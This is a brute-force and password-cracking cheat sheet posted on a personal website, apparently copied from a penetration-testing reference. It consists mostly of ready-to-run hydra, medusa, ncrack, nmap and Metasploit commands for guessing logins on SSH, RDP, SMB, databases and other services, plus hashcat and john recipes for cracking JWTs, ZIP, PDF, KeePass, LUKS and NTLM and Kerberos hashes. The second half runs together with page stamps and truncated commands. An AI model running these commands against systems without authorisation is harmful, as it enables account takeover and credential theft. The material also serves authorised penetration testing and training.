Honka Ádám weboldala

Brute Force – CheatSheet

By in 2023.10.02.
Brute Force - CheatSheet
========================

Links
https://github.com/ihebski/DefaultCreds-cheat-sheet
http://www.phenoelit.org/dpl/dpl.html
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
https://192-168-1-1ip.mobi/default-router-passwords-list/
https://datarecovery.com/rd/default-passwords/
https://bizuns.com/default-passwords-list
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv
https://github.com/Dormidera/WordList-Compendium
https://www.cirt.net/passwords
http://www.passwordsdatabase.com/
https://many-passwords.github.io/

Create your own Dictionaries
Find as much information about the target as you can and generate a custom
dictionary. Tools that may help:

Crunch
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl
cewl example.com -m 5 -w words.txt

CUPP
Generate passwords based on your knowledge of the victim (names, dates...)
python3 cupp.py -h
pydictor

Wordlists
https://github.com/danielmiessler/SecLists
https://github.com/Dormidera/WordList-Compendium
https://github.com/kaonashi-passwords/Kaonashi
https://github.com/google/fuzzing/tree/master/dictionaries
https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
Use to easily build and automate workflows powered by the world's most advanced community tools.

Services
Ordered alphabetically by service name.

AFP
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP
nmap --script ajp-brute -p 8009 <IP>

Cassandra
nmap --script cassandra-brute -p 9160 <IP>

CouchDB
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost 

Docker Registry
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp

HTTP Generic Brute
WFuzz
HTTP Basic Auth
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth 

HTTP - Post Form
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form 
# Use https-post-form mode for https
For https you have to change from "http-post-form" to "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle
cmsmap -f W/J/D/M -u a -p a https://wordpress.com

IMAP
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>

IRC
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb

ISCSI
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb

JWT
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ"

LDAP
nmap --script ldap-brute -p 389 <IP>

MQTT
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v

Mongo
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login

MySQL
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt

OracleSQL
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <
In order to use oracle_login with patator you need to install:
pip3 install cx_Oracle --upgrade
 (versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and
11.2.0.3):

Offline OracleSQL hash bruteforce
 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid

POP
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

PostgreSQL
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb

PPTP
You can download the .deb package to install from
https://http.kali.org/pool/main/t/thc-pptp-bruter/
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>

Redis
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default

Rexec
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh
hydra -L <Username_list> rsh://<Victim_IP> -v -V
rsh-grind
Rsync nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb RTSP hydra -l root -P passwords.txt <IP> rtsp SNMP msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp SMB nmap --script smb-brute -p 445 <IP> hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 SMTP hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL SOCKS nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb SSH hydra -l root -P passwords.txt [-t 32] <IP> ssh ncrack -p 22 --user root -P passwords.txt <IP> [-T 5] medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password Weak SSH keys / Debian predictable PRNG Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as . Pre-generated sets of weak keys are also available such as . snowdroppe/ssh-keybrute g0tmi1k/debian-ssh SQL Server #Use the NetBIOS name of the machine as domain crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT Telnet hydra -l root -P passwords.txt [-t 32] <IP> telnet ncrack -p 23 --user root -P passwords.txt <IP> [-T 5] medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet VNC hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep use auxiliary/scanner/vnc/vnc_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb #Metasploit use auxiliary/scanner/vnc/vnc_login set RHOSTS <ip> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst Winrm crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt Local Online cracking databases http://hashtoolkit.com/reverse-hash? (MD5 & SHA1) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) https://www.onlinehashcrack.com/ https://crackstation.net/ (Hashes) https://md5decrypt.net/ (MD5) https://gpuhash.me/ (Hashes and file hashes) https://hashes.org/search.php (Hashes) https://www.cmd5.org/ (Hashes) https://hashkiller.co.uk/Cracker (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) https://www.md5online.org/md5-decrypt.html (MD5) http://reverse-hash-lookup.online-domain-tools.com/ Check this out before trying to brute force a Hash. ZIP #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip zip2john file.zip > zip.john john zip.john #$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack Known plaintext zip attack You need to know the plaintext (or part of the plaintext) of a file contained inside the encrypted zip. You can check filenames and size of files contained inside an encrypted zip running: 7z l encrypted.zip Download bkcrack from the releases page. # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file ./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file # Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18 # With that key you can create a new zip file with the content of encrypted.zip # but with a different pass that you set (so you can decrypt it) ./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password 7z cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z #Download and install requirements for 7z2john wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.p l apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john PDF apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt #pdf2john didn't work well, john didn't know which hash type was # To permanently decrypt the pdf sudo apt-get install qpdf qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf 2023. 04. 04. 16:04 24/15 oldal PDF Owner Password To crack a PDF Owner password check this:
Quickpost: Cracking PDF Owner Passwords
JWT git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack #Bruteforce using crackjwt.py python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #Bruteforce using john python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc john jwt.john #It does not work with Kali-John NTLM cracking Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.po t Keepass sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash Keberoasting john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi Lucks image Method 1 Install: https://github.com/glv2/bruteforce-luks bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt Method 2 cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt Another Luks BF tutorial: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-diskencription-luks.html?m=1 Mysql #John hash format <USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE> dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d 2023. 04. 04. 16:04 24/17 oldal PGP/GPG Private key gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash Cisco DPAPI Master Key Use and then john https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py Open Office Pwd Protected Column If you have an xlsx file with a column protected by a password you can unprotect it: Upload it to google drive and the password will be automatically removed To remove it manually: 2023. 04. 04. 16:04 24/18 oldal unzip file.xlsx grep -R "sheetProtection" ./* # Find something like: <sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" # Remove that line and rezip the file zip -r file.xls . PFX Certificates # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx Tools Hash examples: https://openwall.info/wiki/john/sample-hashes Hash-identifier hash-identifier > <HASH> Wordlists Rockyou Probable-Wordlists Kaonashi Seclists - Passwords Wordlist Generation Tools : Advanced keyboard-walk generator with configurable base chars, keymap and routes. kwprocessor kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route John mutation Read /etc/john/john.conf and configure it john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules Hashcat Hashcat attacks Wordlist attack ( -a 0 ) with rules Hashcat already comes with a folder containing rules but you can find . other interesting rules here hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule Wordlist combinator attack It's possible to combine 2 wordlists into 1 with hashcat. If list 1 contained the word "hello" and the second contained 2 lines with the words "world" and "earth". The words helloworld and helloearth will be generated. # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt # Same attack as before but adding chars in the newly generated words # In the previous example this will generate: ## hello-world! ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt Mask attack ( -a 3 ) 2023. 04. 04. 16:04 24/21 oldal # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d hashcat --help #will show the charsets and are as follows ? | Charset ===+========= l | abcdefghijklmnopqrstuvwxyz u | ABCDEFGHIJKLMNOPQRSTUVWXYZ d | 0123456789 h | 0123456789abcdef H | 0123456789ABCDEF s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ a | ?l?u?d?s b | 0x00 - 0xff # Mask attack declaring custom charset hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## -1 ?d?s defines a custom charset (digits and specials). ## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset. # Mask attack with variable password length ## Create a file called masks.hcmask with this content: ?d?s,?u?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask Wordlist + Mask ( -a 6 ) / Mask + Wordlist ( -a 7 ) attack # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt 2023. 04. 04. 16:04 24/22 oldal Hashcat modes hashcat --example-hashes | grep -B1 -A2 "NTLM" Cracking Linux Hashes - /etc/shadow file 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems Cracking Windows Hashes 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems Cracking Common Application Hashes 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash

Comments (0)